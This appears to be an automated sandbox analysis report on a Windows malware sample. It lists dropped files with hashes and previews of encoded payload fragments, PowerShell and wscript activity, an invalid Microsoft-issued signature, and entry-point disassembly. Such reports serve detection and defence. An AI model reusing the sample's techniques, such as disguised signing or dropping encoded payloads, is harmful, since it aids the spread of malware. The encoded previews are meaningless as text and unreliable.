              Preview:VrZ25lnOUqbnTjBk74J8Nvjw9Me0JNOcQCKC88LCT4OiZSUGNBtgbwU9MFRW2BpLexBnONEQNnL5ieJUDnGIiHqMZfT12QRQVSCbsqMF7cnIBDOTskM3VO78YfFut574eLrP44ocKhnVaj0pAzT9YmfGg4PdqgJM8XbqWdzrKmminlmYaiNS2D3tqTEFadNbASXrHuSquTPfid7q4bmwOFiFlzkzGhEG9es3Yc0aXecBNAIGC9TMVo4vyJnTncT3OJYoh8tWHEVhlufRm4QuVXv0yXDV0s2VBTsB21VZmW75cuqL4s0W9s5tmvi5eaKZpUZzXVLOxyecMclbsZjBLgRmswIgIhUWFZsTgkKmGlgu9oVCKYewZhFxIpLk9OK9pfOnHrIgoETiG11cOAnNJtvuarkAvlqL4y6tm2FZxhtKRzmy65Q9WKHfC4CTiDEVbuMDFVCmcHubLv27O8r3leuKK5e4hCN83h4kTZM8GFt3LYUoZAq6g5yLQTqUcJw18m42GlLgrMuiFjNUyVEnFR4xMTGTdElX5bEXEdPNCz0kTIn1Cc7Vyes1YZbw5EYa1QArPN8D6s7glgo7WIipvFBymEFjakylaIwejH1EJNl0vwAAZvzYY51z3OoEKMVup0LdovYNH4JQJKVKJHx8Uoc5WSXU9QllFBZGMhnTo37bmB10C0NCgIPJnhKiuvUn7EvphREUFbDVqf9QBPnTYlQVrO9MrLgmydPxK2LjyuO6NhmWvi7o8wZKTwgl9rAdpZnpV34dL07iyBdlhKIy2OlwskExVvVe0neWb5cAaADWXTmSne2SaWEU1gVLHix0z9hodrPfyhvdVCDWhuBk7n8MGOIXI72AOILQjiV1mhFtfYTm7mT9vOxvbkdZZTgzeSVZqixxSQmQJ3myU451gBi0luaKhcK8QSimQLp0ku28kiUtOVkB3YVWgugqm900xpj5dHTw8cjOqDndMPBhsn85nCogqfWZO0hhDrRQ

              C:\Users\user\AppData\Local\Temp\gacittled.re

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (5774), with CRLF line terminators
              Category:dropped
              Size (bytes):7747
              Entropy (8bit):5.951485683206874
              Encrypted:false
              SSDEEP:192:PGi212VX8BOChxx5lhMllZsKvQ8WE6F1VxLR9wn:PGi2eX8ECT7MllZskQ8EF7/i
              MD5:7F8B6C929CEA9B45A73A4CB6F4AD030A
              SHA1:3D32CF65FA7B26BCFDBE85892CC5F384C21C63DB
              SHA-256:A436CC567334682957EED5FC80E8E4575BE169C58032458DAD97A7FD6D7DEAB6
              SHA-512:1B47F6FB62146A97A4D816EEF6C397E018D7EF12913E6802FAC9854C9BD966D6C247D0A60B953010DD730604EB230E7F166143354463A901A26A55BC7CE52A00
              Malicious:false
              Preview:0TKDXRYDWMtyZ9InjhsCv5c7xYmuyF0KxyL9Y3IHFnfYMFR9EBcS3y1hDYJjWRPBJWjd2OE0Cb70qCwFKFlecQILDMwZyH1gBTE2HGZgphb9ugxjlEaXsxjSOOi1oEbwDSNlIQGeAwOuJTQKb4naRTJuc0Wy7MTambbF75DuzdCcWl1Zatkg0yW3sOEUbp6FWEiYKxeamJeM0a8Jl4BoEHPooG1E1mAMEHTz1bqQ5uirz9ezt3JhSYx4VYGW6SH75j49sC09toUYlymTMzVgYhkHzaI170KZpWtx4IrmJWQdnY5ycvH3SLW1wviweWCU5dNg9fNnzAe6O6YvYjSPM6KN4oO1SVE53clmu1g1WXyeZNwZe7MK0hCuw4jKvpBCsUwk2uElvcQC4fYdFNlpcHB8FdcsUix3ZLMQz1Wy4pzv35f43XQDzcAtycnMfDFtab9PiAWyUuKvRVFxDpc0ze4bwxCma15DNmJIk50AUTdB99J6Wn43ZMvwgIG1mpi2sp1ZS1QAUhOzhyoNe1CWauh0GL8N6UbyOmpKcds631TJPB1Je4ZCsUatgHb7pBPozUHZFlUDWwEzLGXVQfLzF8IqGtslXQu9QfaeYgnZvSwJ0vuDlZG8lWhlQJQefSpVy3mTXSMaNExC2CXwNcDaaXULq1bbNZHirgnSlzpoy94YB6qomV8PovjBSQoSeCzYeiwqylDXI6kZbY7vuO9Pzi5E4SXz3GLa0frf2yubdE0ebaK5pXjhAslGYzzqRY0gYzZdPQJSzTH85jlz5BMbcBkGFrrILiWQEZMUigQ1PHiCoKt9Cm40FIyjfzzTU5KpeVEKHTpbYiK3xrBQytfVF5vXsAPsFJ6NJ2Mjvo8UUCJNwBpQzeoPKiPYQadMDddqzurK9Phc5p9coAiUcv0zJklUFhCvWfGc0YCj0BptqWd5rmCCrbxPtmynvgG7YQZYShS4T8a1pbwjL4qdUI3xFGjDMLItGaDDBZabepO3

              C:\Users\user\AppData\Local\Temp\loffin.sot

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (6510), with CRLF line terminators
              Category:dropped
              Size (bytes):6816
              Entropy (8bit):5.948252102815221
              Encrypted:false
              SSDEEP:96:JM+9Bbj0UskQyR89Kw9HYrlNlI2Fb2rFJEHa5t9UTf9Goxny1XLFF/g1e05CfZqU:3VxLR9wD8bqx58FI54wjPpz
              MD5:47B1C1B01BC866C7DCECC2F283AB3396
              SHA1:72578E3ADFA3119BFFAE602A5DF951E9A09D97E2
              SHA-256:BEF60C4F17B8A8EE3D5AD732F43104D2F4C3A3045FB437F703B99705D3B3AF55
              SHA-512:F18EB25DA12CE2BF54000BDE76359ACDAE6D7F43C3E376ECC8AEBC8CB1181EF419DB1A44BC49B23452D05B08C85AA112A4B94E0E3201DB90603B9832E8CF4E1C
              Malicious:false
              Preview:ogdnW0PpCNzJAmlciGJEJC9staq6tp4DLvwGIKOIGRRoehoKRdzKmgNZiHScAFe7ulNJIRKCkOHY8PYvll3Ly6RkAfmlxhX6H7NWiM47c0wHqA4X8TWSDevi2mmvpWNUCmGOOKWjcphrREcpa4yVOR5l92lkVMOmZQJcUo5ivuQr6VxnkS0sqb2ipuz3gVpr6N0r1ju47MlTxSSTzCWAxieZnOMw9rASagEUhH0inlmGhZnUbByGbhrLBmAi7HgnfjbsIpA6wAuVzwL2NyrB1hLmlA70NGnZYL6WEVslpa5lWYNv..oJZJNskamMBc60hytXlVq6kcUg41mXeA2liQNY433cdAvSwSGjt8YnQ98FZS7EPw5YXSe57NmPXK8bPXrLyqZgMaRGrb9uam37IaOveEOFROfE5ehlkwyL56qhMOEmgQC13iH6ZMidwtVPh839Pwcaz3hjna5rVd8SJXN0kjdFRjwo5dyVtfokdD8CSspHK3gU6i2EoUZTHVLyqVT72B1dkRFHEFPGishXsUnuuvQl1woC3x3UhIrMbBA666ItMtz8uCFy5ZWHw4lljqmjnRnl9F1B8qzKQ2yOeCvtLb4SzFDVbSyRTlYdGMHa6ygyDBqPG12XhM52NAuwZF2cj2MrliobLpIwAN4171dF5Oo8c04av5cfFH0xoVUl9lHK0m9JdrRIUxXjInKTaLSZcMGOVurofxPGfqqxvqsYvElFIzf3s7E8MmdW01eSH9iOYPZBVzcG8VwRmDAnQFq5Mst25sjx3cSgsUiMYjpqpdU5KHzcJ61tI4al6Gb57zIVLZ5l9O5KuyV6ESrs7bcByKYNFq7ufLvbJLqQzoPDcNlJhspUySjSxKbylfqwvZooiqa4wuq1LgnCk5GZF2lO1c6AtaKWhrSQGLz9ClMBaHUqx6kOqgDotHC4bWLN9wQb7dB73Qzeyi9m9AqTkIFeOSRnFFXHiGX9fvtqHJU1pQQxJQoZF93mvVjk

              C:\Users\user\AppData\Local\Temp\nitryporm.ly

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (5531), with no line terminators
              Category:dropped
              Size (bytes):5531
              Entropy (8bit):5.945180561843975
              Encrypted:false
              SSDEEP:96:8pvnmMsnKAjB/7pCVr1NtwY6BU8LquF34vaFznoGij0VT123lsahaBOdc4:ymBKAjBzkVryY6BUVraFsGi212VX8BOr
              MD5:93E39C7275A7377FF837992141789593
              SHA1:40E0D90A868166CD36C896B6BE389ACBFA8A1CDC
              SHA-256:B61900A4208A9AED35DCDD706FBF0BAB417ABFEAEF6AA1C8FCA7F68575A14EF2
              SHA-512:29CA6EB7289392DE0259C7CE417F8F3BD99A59815ECDE2358C4D70C53D0DE4FF37666BFE162F0937DA6D8B5C6F7A3CD32AF29564363FC8810BF09DC1DE4F3CA3
              Malicious:false
              Preview:rIJ9uGpfdxO2wKVsCFp1pab51Yz0sZ5DpFCBWj5zSRFWtcRuPwCPYUQED1AQjz5pRTbztexh60GpN2UF8AMGv0owV7SRHcazYTc7FWn10Wd2I8ct2ZTNVurvE3ivYR0bwuFnyZSjeMrZh1ztOAcmmMajwAP0Nw1k6mqDfIPeRlDGcQvA1G4DTbhnf2ioo6oea3ZAcfYTE0wxwvmLEjufj5IgZGiqKVckSJ9o7q6HjJW4YbXpdYElTEIzPOXTQA05gNiSflziSdj7N3GWTlRaz4i3ZBxEMqje9g5s2FgJoI3qpLLfP5dElRVpTcCZBMCaCHPgpbOQkO1XRSKktjElfNFsy8I3QTcPGkVuVnvsmAsOcwlb7oj1O76iTAWHGtpJWhlK4zP18sII1h6ndkBXmVzmiHUM9C1kSjEXVAtMCJ1ygf2uv9WeEregdiSDuqNDIktkMgbVmFDGLm1DStTYA1P7w89T2X9yYPkkQvEA0aNUjySi0t8A5DYkqt8ujassRoOBMVgfRDOIJGHdW4XRR6hedbueCrjyxMbNrqwleN5zuYKDiol7FFLoLg670SudJQxTxFW131SE3VnCIeYXOl8Ubbe6YaRW1epHw5iQdFH32cq2P3NkdduE3p8LhPnFJqQgp2yJfIVnCXI1DGBvtEqwvALnOY9HwEgnL551ScVjEuysWPALCkEu06SRRRzwk0B9VlDDjrYkx7zZuxxVW8HAQBj8agNL25LN15BfsHLtmUsSC8dlZBALTFsD5qMTVrZ25lnOUqbnTjBk74J8Nvjw9Me0JNOcQCKC88LCT4OiZSUGNBtgbwU9MFRW2BpLexBnONEQNnL5ieJUDnGIiHqMZfT12QRQVSCbsqMF7cnIBDOTskM3VO78YfFut574eLrP44ocKhnVaj0pAzT9YmfGg4PdqgJM8XbqWdzrKmminlmYaiNS2D3tqTEFadNbASXrHuSquTPfid7q4bmwOFiFlzkzGhEG9es3Yc0a

              C:\Users\user\AppData\Local\Temp\nsdothry.nti

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (3413), with no line terminators
              Category:dropped
              Size (bytes):3413
              Entropy (8bit):5.937042200342785
              Encrypted:false
              SSDEEP:96:8JEHa5t9UTf9Goxny1XLFF/g1e05CfZqu:8x58FI54wn
              MD5:FF13C0E958D09C467B594D61706BE4E7
              SHA1:F27768B2685FCD5CA2AB7F880BBF502871ED37BA
              SHA-256:20612C0E26B5A25EFC22CCB5B44E4F1B7DD152A846073D1881D3C04089039907
              SHA-512:0E8D22BD75B69FF54554C801E4F65F4DB96873DB1C7E1B81CA78AE349839A3A4F08138F6811F0D3DA2841053A1EBC160308D5757E68B6C9C3F8E8393364DFC99
              Malicious:false
              Preview:F73HvmmoBEr0S9sEoKhzt6oSqjII2VS2TnhrLA36uymqI1r1impXlzuAEawGiV58qSDmUW6etIYppltK7JyhYn34C9FnDDQCBdsSjXTZVa4rgyuAkGt5VL3Ne5l9vMNlQPelmYBLxITkoDkkUPhMBvYvfMq6YtaUcIpWEiybLrdkSRJF7oEuxsYsxygySpcZtSnUIpzOO0Xukk62P9R9G2XWPLEnqMYFr8ZLyyakNrHjzYpzQ1TvbnjH77L6cOoE0RYs3lTnue27VAB3uzH6F9cF16SyQb1Wr359aff2Xj4GjueqQkx15mbwRiVS0PdGsFEc5m8Am4djNMHqXB1Qb5ieP2V1vUkuVeY6ICslzcVcEMUGeRaQcw1UEuWSW4wxTgWkTT0NKa1WJB0lIUOSOxlWJPP764FscSl1kwhrzvWplBTQgNHts8aAqC6hx8koNEozdJcnovAEhVa8usIwHtkrbNmioDX7g1pCaeSZxZTLGAdjbP67QSoaMoEpUG65rp3m0evSV65mOqYRyqksWjOyIlGQM14JoW8L9oL9LMhf3m7hEWuhqVYBtGcRC8KBOEssE9OVnLncZhuxirTe1m3M709G9fP1JUJznELXiWRayPmS0JE66xM2q9Zwf2wPc86u5gjLFHMdm7lgSG0Y21AjbhNIwW7p53duvipBBZqcJPFXEGwidYxBmwke7QVloc6dAl3CYgS58prXOdkhJ2uYmS1e7FH4q7A6kYwKCGKJhFOhI4xM82YVWKKe8pENhqsi6oiB7lkjFJRApVUlEU1T5OYFMkRI34PFE2s0RFDwimU7dgW2y51tWExjNwNg8IxLM5aRhw4GQzpgZN9jvVC1QtNpUhbHuPTltaZosyUF9KEYDXhJO8deD79b1SaXVMl2P6R7iQNTr6Dl5njY4vRmMyFfJdRsd32UGBhFWNZ2Vl2Qa1ValXO0jIKXWVPwpEl5TdDpqagc4fgi9bobfKVEFToO81clogrQ2Dih

              C:\Users\user\AppData\Local\Temp\nslisfil.yli

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (8957), with CRLF line terminators
              Category:dropped
              Size (bytes):10818
              Entropy (8bit):5.950179627818609
              Encrypted:false
              SSDEEP:192:OsKvQ8WE6F1VxLR9wD8bqx58FI54wjPpETrU1sRhR1BFF:OskQ8EF7/88nFI54DT4ibbj
              MD5:2E85E26F1BCF5F1672A53DAF39F2A168
              SHA1:61E4AC99D32B5B8207584EBF87C70B6D9B4CC902
              SHA-256:DE0F099A6F7BDE71538999345E8FD460FF173EFDD0E521024700A13253A1A706
              SHA-512:CB7982CE7CFE1896357561A651316A4F6ABB10DC72C48512A6BC450173F8252A5E4B7076B99D54E3171DEA808F84CD11815530904CF61504B5B844E474E4B4E8
              Malicious:false
              Preview:UgWxHI46E1FkzLaI2usJpLN8JpsqHrUQcxaESPKNrb147AI2J4iU31djg7DPinJsyDox5er2qkWEDbdTZrKLuygPqz1vViVqkOPbw5peVDbxKppqdjoA3WNBxUUWiDBot3PZ0WgSlSkLSSzer1XW1islcpD9xFBcEBvfRnpCwboNx1B6p2mmvekZgxI2fSVXPVilHHrTdrTbKb0dNL6UuY2136T0FfCqfCN08hZLL8hXq4eeNqsM0GZJgghkIJhfeSRD9WAf1tGRr9vvXuuhBFE3vyGAKIpCwleNQch6sRS2cgPtYtB9REzFzNYq6z0xr1CEfQEsgaLmtBsOGZQGch7IraD5pAv6XQLOLiHPjM0ydEiubpo3qkQnScxLFZJNx0zt5p8REjWEoREZpRQXfl0zJxSoTpy6JQvNenSy8IMURyhQwHBZbzm21dBNqfxmeURQWxokoaKhUF1ha3Z2V5eNHFo6FloCr3ygOATovSeijM2VRmM6hRXwJdf8ffPuznSF7iJV0x24dNENVWR5pTdvE99UWASIxnwoKZnI8dJz8AAD20Q5S4ydrlGepaKDe96kP9KmA5JoeZxqjIuzf9KFdRXzj2XpgVfa9LokjVsJENXltzmcIk9O1PVFgRWLylIzWBDMYhcwfKOtzwzQOdRy3iqCvSDOiM1usrI7oifBY5gvr30phI0sQ2MO0lvQ3a7Sr8Lm3sKDCAJRyvUObPZ1Zc7iXsdtqRrAGW9RH0RsoAwPeFKJ6ckYdiRW33Lr9YoWTqFmNIUCZEqPrTSpFzIW4ETKLWbMP2C1YtAXSrsWtMMyfOFuJL6SYPh1uabVwKaaB3F8BHLtLGeIXskOVBKWEAM7OYclm7oUvhz21eHSfXKRZV2F482vZVqpR8InmJhO0MhPK4q66ftpCWNXavD6HxZVV4VLugQ8vuUIWV9BGaZmvovYJeQI6FcC8It5TCeBZFHvPouqzrZiFwFVTbZLTh6VGCcU9rEaWqcj

              C:\Users\user\AppData\Local\Temp\rtwir.cu

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (8361), with no line terminators
              Category:dropped
              Size (bytes):8361
              Entropy (8bit):5.947873352000082
              Encrypted:false
              SSDEEP:192:TmBKAjBzkVryY6BUVraFsGi212VX8BOChxx5lhMllZsKvQ8A:Tm0AJkVryOaFsGi2eX8ECT7MllZskQ8A
              MD5:782DC802D8EFD2B75BEF589A20C94024
              SHA1:5FE4EC6BDBD579068831A822E86670E2160D2147
              SHA-256:E80DC7946E566DDC3F84E10E83D276CC69CC8FF7040BD0CD8E99C8F8306CFB8F
              SHA-512:3A5019AA4CCC5475EE55B680C2222546C16697A012CCA0A32D71913A633EAC718952654B894CEBEC4CE64A2F52EC6236D7E49D21B81DC5786DDC54A20F5E4366
              Malicious:false
              Preview:670SudJQxTxFW131SE3VnCIeYXOl8Ubbe6YaRW1epHw5iQdFH32cq2P3NkdduE3p8LhPnFJqQgp2yJfIVnCXI1DGBvtEqwvALnOY9HwEgnL551ScVjEuysWPALCkEu06SRRRzwk0B9VlDDjrYkx7zZuxxVW8HAQBj8agNL25LN15BfsHLtmUsSC8dlZBALTFsD5qMTVrZ25lnOUqbnTjBk74J8Nvjw9Me0JNOcQCKC88LCT4OiZSUGNBtgbwU9MFRW2BpLexBnONEQNnL5ieJUDnGIiHqMZfT12QRQVSCbsqMF7cnIBDOTskM3VO78YfFut574eLrP44ocKhnVaj0pAzT9YmfGg4PdqgJM8XbqWdzrKmminlmYaiNS2D3tqTEFadNbASXrHuSquTPfid7q4bmwOFiFlzkzGhEG9es3Yc0aXecBNAIGC9TMVo4vyJnTncT3OJYoh8tWHEVhlufRm4QuVXv0yXDV0s2VBTsB21VZmW75cuqL4s0W9s5tmvi5eaKZpUZzXVLOxyecMclbsZjBLgRmswIgIhUWFZsTgkKmGlgu9oVCKYewZhFxIpLk9OK9pfOnHrIgoETiG11cOAnNJtvuarkAvlqL4y6tm2FZxhtKRzmy65Q9WKHfC4CTiDEVbuMDFVCmcHubLv27O8r3leuKK5e4hCN83h4kTZM8GFt3LYUoZAq6g5yLQTqUcJw18m42GlLgrMuiFjNUyVEnFR4xMTGTdElX5bEXEdPNCz0kTIn1Cc7Vyes1YZbw5EYa1QArPN8D6s7glgo7WIipvFBymEFjakylaIwejH1EJNl0vwAAZvzYY51z3OoEKMVup0LdovYNH4JQJKVKJHx8Uoc5WSXU9QllFBZGMhnTo37bmB10C0NCgIPJnhKiuvUn7EvphREUFbDVqf9QBPnTYlQVrO9MrLgmydPxK2LjyuO6NhmWvi7o8wZKTwgl9rAdpZnpV34dL07iyBdlhKIy2OlwskExVvVe0n

              C:\Users\user\AppData\Local\Temp\stnestsh.opl

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (6213), with no line terminators
              Category:dropped
              Size (bytes):6213
              Entropy (8bit):5.946115410737298
              Encrypted:false
              SSDEEP:96:3oxny1XLFF/g1e05CfZqcr4kpwlT4mU1sKPchRXUIBS5R4OClTSnHdZ7Vtl:YI54wjPpETrU1sRhR1BFOClTSnHdZV
              MD5:5812E9A2BFDC59A34A6B5AEB7A2FDB3A
              SHA1:42706BF6F6BCFAC6C3B25057A86A7385FB393720
              SHA-256:09C18ECB453E89A205CC6E5E5032A85139A2A034C1B39A85BE7BA23E147E4BB8
              SHA-512:F720C6FEA8B9B2BBD7B45896A76CB3689A3B9975513E57149F6A6B02FDE79A6178ECD8663F47C528BADFDA2A3797F110FBCB18E2776976A920F2C0EC2E43568C
              Malicious:false
              Preview:t1KGAmez1lznTWppQPNWMC1eOobyy2OzKFqCyN8eKHg4W6ICFibXe8Mp7Jc688QYi6uEObg5t9ZkvKAwHoFHq4ROfbJY0Kpa73nGDMTQMOcGSkD6wVPhlP262aRxJ6kghEGWsmUQ3jT9DboCALtlbztWUcVZ2xYyRQJq5V4BC1ptOX9REs0W5JMLx2RElkBL8pkWlKShhgrQ0LQBqKA0c6W8mzaPR0A3aukgUe5aQrsr6UtPZSAwGndDo1JwexbeTlx1o1o1bVGgQtnWPhICkqIFWA6BoM840JhdG00M5gjKoAEXtLnd2mEU1LWUYRpo3O1qQtwR9DoouPSSwWeeNW6v7Ik0i0g5VaDcq5FM6KdVnI0KG1JbVpMaUZ5J7SIEEgWmEY3GzYa2gl0wLPnwgHgD7bdQXueTrLsBB4enDr9bFUnHv1GwcjcEdaK5JmOPR3HPD6qQq57izwRNq918Ex0xV41b5vnGBdOHrVovdHU3JO30CunwfW9kEkLGBM7Jmu8kJovkOETFtdfgDT232HdaGDZfns4ikZdWcPGv1zHmjoLYPNK2ZXgP0FEKFif1VWr9ynLLRlhPN4cT0sG0BycwI1EyrgTYDNEmd5EyXqlM69VGEwScJIB3rXeZzog8LgbBqrCSPzk48gb9QjEv5XRunI8vUvZtuTCohSzlKmF6kh9QLDAkC1qZriBjNEbba8Ld1Z4rASbu6SWdgUYFwMHFMZaboZoEPZfmQJ4yVLN9ODCXHBsSvDTNDWin3wvKoA54p1Qf6K8IOxYLhbgYgiszQmcJAl4zgl1u3mzjqhdMbTeoYEMMcOw3AZIxu57dU8Ug00SjBUR3yhvp6yLIT6Y5uP8J7mZXDpxEBaOZUJUAsLOSvLOEVxuEIpfYndIZvtLnHHTSn8vTSKTDH3I2Sp1KsP89BTGbMtE0hDoVK5LIiCfhfWBh2dUncbrIPSH917OQZhUtLtgyVVIw4AvdG3P6D286GJC0MuMKsc0s

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WA4QG6JGO7O53YR7AYY8.temp

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:data
              Category:dropped
              Size (bytes):6224
              Entropy (8bit):3.7214618438248155
              Encrypted:false
              SSDEEP:96:Fufv3CET9kvhkvCCtMe1WZL6HZi8e1WZL6HZiO:FufvNMeYZLeeYZLY
              MD5:D7E9358866DCDE0B95D4474108ADCBFE
              SHA1:71F219F83787A2E88B1FFDB45DA70C8652AD77D6
              SHA-256:EC96B8F200FE08724DCCAC405D37611974DBBFE5AD066F332995FA2838662108
              SHA-512:910E33D2A03099E5532C22BE0823EC6A952A1233AE11BD8BF17A71FAE3FF6CD1B12AE695E03842BB39106C3D6020EEC468982798D829703C21FB31D5A0B23D75
              Malicious:false
              Preview:...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....$P(.a...d.,.a......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2(Z.u...........................^.A.p.p.D.a.t.a...B.V.1.....(Z.u..Roaming.@......EW<2(Z.u..../.....................g.M.R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2(Z.u....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2(Z.u....2.....................j...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2(Z.u....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2(Z.u....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:data
              Category:dropped
              Size (bytes):6224
              Entropy (8bit):3.7214618438248155
              Encrypted:false
              SSDEEP:96:Fufv3CET9kvhkvCCtMe1WZL6HZi8e1WZL6HZiO:FufvNMeYZLeeYZLY
              MD5:D7E9358866DCDE0B95D4474108ADCBFE
              SHA1:71F219F83787A2E88B1FFDB45DA70C8652AD77D6
              SHA-256:EC96B8F200FE08724DCCAC405D37611974DBBFE5AD066F332995FA2838662108
              SHA-512:910E33D2A03099E5532C22BE0823EC6A952A1233AE11BD8BF17A71FAE3FF6CD1B12AE695E03842BB39106C3D6020EEC468982798D829703C21FB31D5A0B23D75
              Malicious:false
              Preview:...................................FL..................F.".. ...J.S.....}.T...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....$P(.a...d.,.a......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2(Z.u...........................^.A.p.p.D.a.t.a...B.V.1.....(Z.u..Roaming.@......EW<2(Z.u..../.....................g.M.R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2(Z.u....0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2(Z.u....2.....................j...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2(Z.u....5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2(Z.u....6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2EWk3....u...........

              C:\Users\user\Desktop\31f576c

              Download File
              Process:C:\Windows\SysWOW64\wscript.exe
              File Type:data
              Category:dropped
              Size (bytes):373760
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:3::
              MD5:89AEEB581C5352A5F1621E1A7179E2D4
              SHA1:30B374B8F8FB8D0A0D10ECB5A4A7F9F5339E1A0C
              SHA-256:2D27057F415E630DF101E9315CDF4BD73CBBC25E41C0C81EC5FD584448BB8379
              SHA-512:85E6E5A0CAEE7B238AEC23CE5C54F7A05D2E42D45BB0738414D60318ACDC9D36FA906A2A0E8E68D055F3968706860BA09DC2C348E0D34BDBA19F2C6FD4BDF8FD
              Malicious:false
              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

              Static File Info

              General

              File type:PE32 executable (GUI) Intel 80386, for MS Windows
              Entropy (8bit):7.0088223848931746
              TrID:
              • Win32 Executable (generic) a (10002005/4) 99.96%
              • Generic Win/DOS Executable (2004/3) 0.02%
              • DOS Executable Generic (2002/1) 0.02%
              • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
              File name:YyVnwn8Zst.exe
              File size:372'700 bytes
              MD5:6cbe4dde104084454980ae3405a0339c
              SHA1:bf2cc3af5ce453f099d8321c5798ad0de7e9ef67
              SHA256:880a3b6203fef131d20346d1258ae22031c3d84d8a35d01c8f4b7fe3729c0d0c
              SHA512:e0e1a0cda39117f4c817037ea879669b44168058f9b06cdb73dda81bcc7546778d3b3e579a517b8637578044911c155945e2ad977529c7db12a11a56b6bf63ac
              SSDEEP:6144:GOYGXaPNxdgSdcq2pVZPOJHAbKItVOCWQf1Tw9iQgMUJ:iGqN/XdctpVtk4tV2Qf1U9iQNUJ
              TLSH:6484C042F6C2C8B2E9731931593AAB116D3DBD201F349A1FB3E4796EDE711806235B63
              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...,...._......._..'...._f.'...._..'..

              File Icon

              Icon Hash:2764a3aaaeb7bdaf

              Static PE Info

              General

              Entrypoint:0x41e239
              Entrypoint Section:.text
              Digitally signed:true
              Imagebase:0x400000
              Subsystem:windows gui
              Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
              DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
              Time Stamp:0x5DE8B3B3 [Thu Dec 5 07:37:23 2019 UTC]
              TLS Callbacks:
              CLR (.Net) Version:
              OS Version Major:5
              OS Version Minor:1
              File Version Major:5
              File Version Minor:1
              Subsystem Version Major:5
              Subsystem Version Minor:1
              Import Hash:fcf1390e9ce472c7270447fc5c61a0c1

              Authenticode Signature

              Signature Valid:false
              Signature Issuer:CN=Microsoft Code Signing PCA, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
              Signature Validation Error:The digital signature of the object did not verify
              Error Number:-2146869232
              Not Before, Not After
              • 21/02/2011 21:53:12 21/05/2012 22:53:12
              Subject Chain
              • CN=Microsoft Corporation, OU=MOPR, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
              Version:3
              Thumbprint MD5:B5F17D844A8EC60225F8308A7D546D61
              Thumbprint SHA-1:93859EBF98AFDEB488CCFA263899640E81BC49F1
              Thumbprint SHA-256:F3A7C8CDD6B19E05C43F9E76F63247A51B655BBD58EF52475151BCB651136E9F
              Serial:6101B29B000000000015

              Entrypoint Preview

              Instruction
              call 00007F8F288675CFh
              jmp 00007F8F28867003h
              cmp ecx, dword ptr [0043D668h]
              jne 00007F8F28867175h
              ret
              jmp 00007F8F28867746h
              and dword ptr [ecx+04h], 00000000h
              mov eax, ecx
              and dword ptr [ecx+08h], 00000000h
              mov dword ptr [ecx+04h], 00433068h
              mov dword ptr [ecx], 00434284h
              ret
              push ebp
              mov ebp, esp
              push esi
              push dword ptr [ebp+08h]
              mov esi, ecx
              call 00007F8F2885A56Ah
              mov dword ptr [esi], 00434290h
              mov eax, esi
              pop esi
              pop ebp
              retn 0004h
              and dword ptr [ecx+04h], 00000000h
              mov eax, ecx
              and dword ptr [ecx+08h], 00000000h
              mov dword ptr [ecx+04h], 00434298h
              mov dword ptr [ecx], 00434290h
              ret
              push ebp
              mov ebp, esp
              sub esp, 0Ch
              lea ecx, dword ptr [ebp-0Ch]
              call 00007F8F2886711Ch
              push 0043A4D8h
              lea eax, dword ptr [ebp-0Ch]
              push eax
              call 00007F8F28869A04h
              int3
              push ebp
              mov ebp, esp
